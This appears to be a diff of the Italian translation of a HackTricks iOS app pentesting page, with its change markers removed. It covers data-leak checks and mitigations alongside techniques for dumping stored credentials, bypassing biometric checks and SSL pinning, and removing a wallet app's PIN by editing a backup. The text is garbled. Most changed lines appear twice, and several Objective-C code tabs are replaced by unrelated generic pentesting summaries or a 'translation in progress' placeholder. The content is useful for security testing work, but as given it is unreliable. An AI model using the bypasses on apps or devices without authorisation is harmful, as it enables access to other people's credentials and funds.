È **consigliabile disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. Di seguito sono elencati diversi modi per raggiungere questo obiettivo:
|
||||
È **consigliabile disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. Di seguito sono elencati diversi modi per ottenere questo:
|
||||
|
||||
1. Si consiglia di rimuovere le risposte memorizzate dopo il logout. Questo può essere fatto con il metodo fornito da Apple chiamato [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) È possibile chiamare questo metodo nel seguente modo:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Questo metodo rimuoverà tutte le richieste e risposte memorizzate dal file Cache.db.
|
||||
2. Se non è necessario utilizzare i vantaggi dei cookie, sarebbe consigliabile utilizzare semplicemente la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e della cache.
|
||||
2. Se non è necessario utilizzare i vantaggi dei cookie, sarebbe consigliabile utilizzare la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e della cache.
|
||||
|
||||
[Documentazione Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Un oggetto di configurazione di sessione effimera è simile a una configurazione di sessione predefinita (vedi predefinito), tranne che l'oggetto di sessione corrispondente non memorizza cache, archivi di credenziali o dati correlati alla sessione su disco. Invece, i dati correlati alla sessione sono memorizzati in RAM. L'unica volta in cui una sessione effimera scrive dati su disco è quando gli si dice di scrivere i contenuti di un URL su un file.`
|
||||
3. La cache può essere disabilitata anche impostando la Policy della Cache su [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Ciò disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.
|
||||
3. La cache può essere disabilitata impostando la Policy della Cache su [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Ciò disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ogni volta che si preme il pulsante home, iOS **fa uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui è possibile accedere anche facendo doppio tap sullo schermo home per passare tra le app.
|
||||
|
||||
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
|
||||
A meno che l'iPhone non sia stato sottoposto a jailbreak, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
|
||||
|
||||
Un modo per prevenire questo comportamento indesiderato è quello di mettere uno schermo vuoto o rimuovere i dati sensibili prima di fare lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
|
||||
|
||||
|
@ -568,6 +568,8 @@ backgroundImage?.removeFromSuperview()
|
|||
}
|
||||
```
|
||||
**Objective-C:**
|
||||
|
||||
**Obiettivo-C:**
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
|
@ -582,7 +584,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Questo imposta l'immagine di sfondo su `overlayImage.png` ogni volta che l'applicazione passa in background. Ciò impedisce perdite di dati sensibili poiché `overlayImage.png` sovrascriverà sempre la vista corrente.
|
||||
Questo imposta l'immagine di sfondo su `overlayImage.png` ogni volta che l'applicazione passa in background. Ciò previene perdite di dati sensibili poiché `overlayImage.png` sovrascriverà sempre la vista corrente.
|
||||
|
||||
### Portachiavi
|
||||
|
||||
|
@ -596,21 +598,21 @@ NSURLCredential *credential;
|
|||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando di Objection `ios nsurlcredentialstorage dump`.
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando `ios nsurlcredentialstorage dump` di Objection.
|
||||
|
||||
## **Tastiere personalizzate e cache della tastiera**
|
||||
|
||||
Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generali > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, pongono il rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono, e dovrebbero, limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili.
|
||||
Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generali > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, rappresentano un rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono, e dovrebbero, limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili.
|
||||
|
||||
**Raccomandazioni di sicurezza:**
|
||||
|
||||
* Si consiglia di disabilitare le tastiere di terze parti per una maggiore sicurezza.
|
||||
* Prestare attenzione alle funzionalità di autocorrezione e di suggerimenti automatici della tastiera predefinita di iOS, che potrebbero memorizzare informazioni sensibili nei file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per verificare la presenza di dati sensibili. Si consiglia di ripristinare il dizionario della tastiera tramite **Impostazioni > Generali > Ripristina > Ripristina dizionario tastiera** per eliminare i dati memorizzati nella cache.
|
||||
* L'intercettazione del traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti premuti in remoto.
|
||||
* Prestare attenzione alle funzionalità di autocorrezione e suggerimenti automatici della tastiera predefinita di iOS, che potrebbero memorizzare informazioni sensibili nei file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per verificare la presenza di dati sensibili. Si consiglia di ripristinare il dizionario della tastiera tramite **Impostazioni > Generali > Ripristina > Ripristina dizionario tastiera** per eliminare i dati memorizzati nella cache.
|
||||
* Intercettare il traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti premuti in remoto.
|
||||
|
||||
### **Prevenire la memorizzazione nella cache dei campi di testo**
|
||||
|
||||
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire l'autocorrezione e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, è possibile disabilitare l'autocorrezione e abilitare l'inserimento di testo sicuro con:
|
||||
Il protocollo [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire l'autocorrezione e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, è possibile disabilitare l'autocorrezione e abilitare l'inserimento di testo sicuro con:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
|
@ -626,9 +628,9 @@ Il debug del codice spesso implica l'uso del **logging**. C'è un rischio in qua
|
|||
|
||||
Nonostante queste restrizioni, un **attaccante con accesso fisico** a un dispositivo sbloccato può comunque sfruttarlo collegando il dispositivo a un computer e **leggendo i log**. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app.
|
||||
|
||||
Per ridurre i rischi, si consiglia di **interagire attentamente con l'app**, esplorando tutte le sue funzionalità e input per garantire che non vengano registrate informazioni sensibili per errore.
|
||||
Per mitigare i rischi, si consiglia di **interagire approfonditamente con l'app**, esplorando tutte le sue funzionalità e input per garantire che non vengano registrate informazioni sensibili per errore.
|
||||
|
||||
Nella revisione del codice sorgente dell'app per potenziali perdite, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate.
|
||||
Nel momento in cui si esamina il codice sorgente dell'app per potenziali perdite, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate.
|
||||
|
||||
### **Monitoraggio dei Log di Sistema**
|
||||
|
||||
|
@ -643,21 +645,21 @@ Sono utili. Inoltre, **Xcode** fornisce un modo per raccogliere i log della cons
|
|||
2. Collega il dispositivo iOS.
|
||||
3. Vai su **Finestra** -> **Dispositivi e Simulatori**.
|
||||
4. Seleziona il tuo dispositivo.
|
||||
5. Provoca il problema che stai investigando.
|
||||
5. Attiva il problema che stai investigando.
|
||||
6. Utilizza il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
|
||||
|
||||
Per una registrazione più avanzata, connettersi alla shell del dispositivo e utilizzare **socat** può fornire il monitoraggio dei log in tempo reale:
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Seguito dai comandi per osservare le attività di registro, che possono essere preziose per diagnosticare problemi o identificare potenziali fughe di dati nei registri.
|
||||
Seguito dai comandi per osservare le attività di log, che possono essere preziosi per diagnosticare problemi o identificare potenziali fughe di dati nei log.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -672,7 +674,7 @@ L'inclusione delle **app installate e dei loro dati** nei backup solleva il prob
|
|||
|
||||
### Escludere File dai Backup
|
||||
|
||||
I file in `Documents/` e `Library/Application Support/` vengono di default inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup.
|
||||
I file in `Documents/` e `Library/Application Support/` vengono automaticamente inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup.
|
||||
|
||||
### Test per le Vulnerabilità
|
||||
|
||||
|
@ -695,17 +697,17 @@ Per gestire i backup crittografati, gli script Python disponibili nel [repositor
|
|||
|
||||
### Modifica del Comportamento dell'App
|
||||
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'app del portafoglio bitcoin [Bither](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin\_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si elimina il requisito del PIN, fornendo accesso illimitato.
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'app portafoglio bitcoin [Bither](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin\_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si elimina il requisito del PIN, fornendo accesso illimitato.
|
||||
|
||||
## Riassunto sul Testing della Memoria per Dati Sensibili
|
||||
|
||||
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi.
|
||||
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi hanno le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi.
|
||||
|
||||
## **Recupero e Analisi di un Dump della Memoria**
|
||||
|
||||
Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono di effettuare il dump della memoria del processo di un'app. Una volta effettuato il dump, per analizzare questi dati sono necessari vari strumenti, a seconda della natura delle informazioni che si sta cercando.
|
||||
Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono il dump della memoria del processo di un'app. Una volta effettuato il dump, per analizzare questi dati sono necessari vari strumenti, a seconda della natura delle informazioni che si sta cercando.
|
||||
|
||||
Per estrarre stringhe da un dump di memoria, possono essere utilizzati comandi come `strings` o `rabin2 -zz`:
|
||||
Per estrarre stringhe da un dump di memoria, è possibile utilizzare comandi come `strings` o `rabin2 -zz`:
|
||||
```bash
|
||||
# Extracting strings using strings command
|
||||
$ strings memory > strings.txt
|
||||
|
@ -721,14 +723,14 @@ $ r2 <name_of_your_dump_file>
|
|||
```
|
||||
## **Analisi della memoria in esecuzione**
|
||||
|
||||
**r2frida** fornisce un'alternativa potente per ispezionare la memoria di un'app in tempo reale, senza la necessità di un dump di memoria. Questo strumento consente l'esecuzione di comandi di ricerca direttamente sulla memoria dell'applicazione in esecuzione:
|
||||
**r2frida** fornisce una potente alternativa per ispezionare la memoria di un'app in tempo reale, senza la necessità di un dump di memoria. Questo strumento consente l'esecuzione di comandi di ricerca direttamente sulla memoria dell'applicazione in esecuzione:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## Crittografia Danneggiata
|
||||
|
||||
### Processi di Gestione Chiavi Scadenti
|
||||
### Processi di Gestione Chiave Scadenti
|
||||
|
||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché un'operazione di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni confidenziali.
|
||||
|
||||
|
@ -740,7 +742,7 @@ Gli sviluppatori non dovrebbero utilizzare **algoritmi obsoleti** per eseguire *
|
|||
|
||||
I principali controlli da effettuare sono la ricerca di password/segnreti **codificati** nel codice, o se questi sono **prevedibili**, e se il codice utilizza qualche tipo di algoritmi di **crittografia** **deboli**.
|
||||
|
||||
È interessante sapere che è possibile **monitorare** automaticamente alcune **librerie crittografiche** utilizzando **objection** con:
|
||||
È interessante sapere che è possibile **monitorare** alcune **librerie crittografiche** automaticamente utilizzando **objection** con:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
|
@ -818,37 +820,7 @@ if status == noErr {
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
## Introduzione
|
||||
|
||||
### Strumenti necessari
|
||||
|
||||
Per eseguire il pentesting di un'applicazione iOS, avrai bisogno di:
|
||||
|
||||
- **Mac**: poiché lo sviluppo di app iOS è limitato a macOS, avrai bisogno di un Mac per eseguire il pentesting.
|
||||
- **Xcode**: è l'IDE ufficiale per lo sviluppo di app iOS e contiene il simulatore iOS.
|
||||
- **Device iOS**: per testare l'applicazione su un dispositivo fisico.
|
||||
- **Burp Suite**: per intercettare e manipolare il traffico HTTP/HTTPS.
|
||||
- **Cycript**: per eseguire il reverse engineering delle app iOS.
|
||||
- **Class-dump-z**: per ottenere informazioni sulle classi e i metodi di un'applicazione iOS.
|
||||
- **Hopper Disassembler**: per eseguire l'analisi statica e dinamica del codice dell'applicazione.
|
||||
|
||||
### Setup dell'ambiente
|
||||
|
||||
1. **Installazione di Xcode**: puoi scaricare Xcode dall'App Store o dal sito Web degli sviluppatori Apple.
|
||||
2. **Installazione di Burp Suite**: scarica e installa Burp Suite dal sito Web di PortSwigger.
|
||||
3. **Installazione di Cycript**: puoi installare Cycript utilizzando Homebrew con il comando `brew install cycript`.
|
||||
4. **Installazione di Class-dump-z**: puoi installare Class-dump-z utilizzando Homebrew con il comando `brew install class-dump`.
|
||||
5. **Installazione di Hopper Disassembler**: scarica e installa Hopper Disassembler dal sito Web ufficiale.
|
||||
|
||||
Una volta completata l'installazione di questi strumenti, avrai configurato l'ambiente per eseguire il pentesting di un'applicazione iOS.
|
||||
|
||||
### Esecuzione del pentesting
|
||||
|
||||
Dopo aver configurato l'ambiente, puoi iniziare il pentesting dell'applicazione iOS utilizzando strumenti come Burp Suite per l'intercettazione del traffico e Cycript per il reverse engineering dell'applicazione. Assicurati di seguire le linee guida etiche e legali durante il pentesting.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="Objective-C" %}Traduzione in corso...{% endtab %}
|
||||
```objectivec
|
||||
// 1. create AccessControl object that will represent authentication settings
|
||||
CFErrorRef *err = nil;
|
||||
|
@ -906,32 +878,37 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
# Penetrazione iOS
|
||||
## Introduzione
|
||||
|
||||
## Strumenti e tecniche per il pentesting di applicazioni iOS
|
||||
L'obiettivo di questa sezione è fornire una panoramica sulle tecniche di pentesting per le applicazioni iOS scritte in Objective-C.
|
||||
|
||||
### Strumenti
|
||||
### Strumenti e Framework
|
||||
|
||||
- **Cycript**: consente di eseguire script in tempo reale su applicazioni in esecuzione.
|
||||
- **Clutch**: utilizzato per decodificare applicazioni iOS.
|
||||
- **Dumpdecrypted**: utilizzato per decodificare binari eseguibili iOS.
|
||||
- **Frida**: framework per l'iniezione di script, il monitoraggio e la modifica del comportamento delle applicazioni.
|
||||
- **Hopper**: scompositore e debugger di binari.
|
||||
- **MobSF**: Mobile Security Framework, utilizzato per l'analisi statica e dinamica delle applicazioni mobili.
|
||||
- **Needle**: strumento di analisi automatica per applicazioni iOS.
|
||||
- **SSL Kill Switch**: bypassa la verifica SSL per ispezionare il traffico HTTPS.
|
||||
- **Xcode**: ambiente di sviluppo integrato (IDE) per lo sviluppo di applicazioni iOS.
|
||||
Alcuni degli strumenti e framework comunemente utilizzati per il pentesting delle applicazioni iOS scritte in Objective-C includono:
|
||||
|
||||
### Tecniche
|
||||
- **Cycript**: Utilizzato per eseguire script in tempo reale su applicazioni in esecuzione.
|
||||
- **Clutch**: Utilizzato per decodificare le applicazioni iOS.
|
||||
- **Dumpdecrypted**: Utilizzato per decodificare i binari delle applicazioni iOS.
|
||||
- **Frida**: Utilizzato per l'iniezione di script, il monitoraggio e la modifica del comportamento delle applicazioni.
|
||||
- **MobSF**: Utilizzato per l'analisi statica delle applicazioni iOS.
|
||||
- **Needle**: Utilizzato per l'analisi dinamica delle applicazioni iOS.
|
||||
|
||||
- **Analisi dell'applicazione**: comprendere il funzionamento dell'applicazione e identificare possibili vulnerabilità.
|
||||
- **Iniezione di codice**: utilizzare strumenti come Frida per iniettare script nelle applicazioni.
|
||||
- **Decompilazione**: utilizzare strumenti come Hopper per decompilare e analizzare il codice dell'applicazione.
|
||||
- **Interferenza di rete**: utilizzare strumenti come SSL Kill Switch per ispezionare il traffico di rete non crittografato.
|
||||
- **Analisi delle API**: identificare le chiamate API utilizzate dall'applicazione e analizzarle per possibili vulnerabilità.
|
||||
- **Analisi dei dati archiviati**: esaminare come i dati sensibili sono archiviati e gestiti dall'applicazione.
|
||||
### Metodologia di Pentesting
|
||||
|
||||
La metodologia di pentesting per le applicazioni iOS scritte in Objective-C di solito include le seguenti fasi:
|
||||
|
||||
1. **Raccolta di informazioni**: Raccogliere informazioni sull'applicazione target e sul suo ambiente.
|
||||
2. **Analisi dell'applicazione**: Analizzare l'applicazione per identificare potenziali vulnerabilità.
|
||||
3. **Manipolazione dell'applicazione**: Manipolare l'applicazione per identificare e sfruttare vulnerabilità.
|
||||
4. **Segnalazione delle vulnerabilità**: Documentare e segnalare le vulnerabilità identificate.
|
||||
|
||||
### Risorse Aggiuntive
|
||||
|
||||
Per ulteriori informazioni sul pentesting delle applicazioni iOS scritte in Objective-C, è possibile fare riferimento alle risorse seguenti:
|
||||
|
||||
- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
|
||||
- [iOS Hacker's Handbook](https://www.wiley.com/en-us/iOS+Hacker%27s+Handbook-p-9781118204122)
|
||||
|
||||
</div>
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
// 1. define query
|
||||
|
@ -981,7 +958,7 @@ Per attivare questo bypass, viene utilizzato il seguente comando:
|
|||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` su `True`.
|
||||
Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` a `True`.
|
||||
|
||||
#### Frida
|
||||
|
||||
|
@ -1096,12 +1073,12 @@ Per verificare questo tipo di problemi, è possibile utilizzare un proxy come **
|
|||
|
||||
### Controllo del Nome Host
|
||||
|
||||
Un problema comune nella convalida del certificato TLS è controllare che il certificato sia stato firmato da una **CA attendibile**, ma **non controllare** se **il nome host** del certificato corrisponde all'host a cui si accede.\
|
||||
Per verificare questo problema utilizzando Burp, dopo aver fidato della CA di Burp sull'iPhone, è possibile **creare un nuovo certificato con Burp per un nome host diverso** e utilizzarlo. Se l'applicazione funziona ancora, allora c'è una vulnerabilità.
|
||||
Un problema comune nella convalida del certificato TLS è controllare se il certificato è stato firmato da una **CA attendibile**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si accede.\
|
||||
Per verificare questo problema utilizzando Burp, dopo aver fidato della CA di Burp nell'iPhone, è possibile **creare un nuovo certificato con Burp per un nome host diverso** e utilizzarlo. Se l'applicazione funziona ancora, allora c'è una vulnerabilità.
|
||||
|
||||
### Pinning del Certificato
|
||||
|
||||
Se un'applicazione utilizza correttamente il Pinning SSL, l'applicazione funzionerà solo se il certificato è quello atteso. Durante il test di un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\
|
||||
Se un'applicazione sta utilizzando correttamente il Pinning SSL, allora l'applicazione funzionerà solo se il certificato è quello atteso. Durante il test di un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\
|
||||
Per aggirare questa protezione all'interno di un dispositivo jailbroken, è possibile installare l'applicazione [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o installare [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
È anche possibile utilizzare il comando `ios sslpinning disable` di **objection**
|
||||
|
@ -1119,17 +1096,17 @@ Per aggirare questa protezione all'interno di un dispositivo jailbroken, è poss
|
|||
|
||||
### Patching in Tempo Reale/Aggiornamenti Forzati
|
||||
|
||||
Gli sviluppatori possono **patchare remotamente tutte le installazioni della loro app istantaneamente** senza dover inviare nuovamente l'applicazione allo Store e attendere l'approvazione.\
|
||||
Gli sviluppatori possono **patchare remotamente tutte le installazioni della propria app istantaneamente** senza dover inviare nuovamente l'applicazione allo Store e attendere l'approvazione.\
|
||||
Per questo scopo di solito si utilizza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Si tratta di un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malintenzionati, pertanto si consiglia di verificare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Si potrebbe provare a scaricare una versione precedente dell'app a questo scopo.
|
||||
|
||||
### Terze Parti
|
||||
|
||||
Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware.
|
||||
Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare lo SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware.
|
||||
|
||||
I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È cruciale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
|
||||
I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
|
||||
|
||||
L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o un SDK completo. Per proteggere la privacy dell'utente, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonimizzato** per evitare la divulgazione di Informazioni di Identificazione Personale (PII).
|
||||
L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o uno SDK completo. Per proteggere la privacy dell'utente, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonimizzato** per evitare la divulgazione di Informazioni di Identificazione Personale (PII).
|
||||
|
||||
Per identificare le librerie utilizzate da un'applicazione, è possibile utilizzare il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa utilizzata per scoprire eventuali librerie aggiuntive.
|
||||
```bash
|
||||
|
@ -1163,7 +1140,7 @@ otool -L <application_path>
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -1178,9 +1155,9 @@ Ottieni l'accesso oggi:
|
|||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
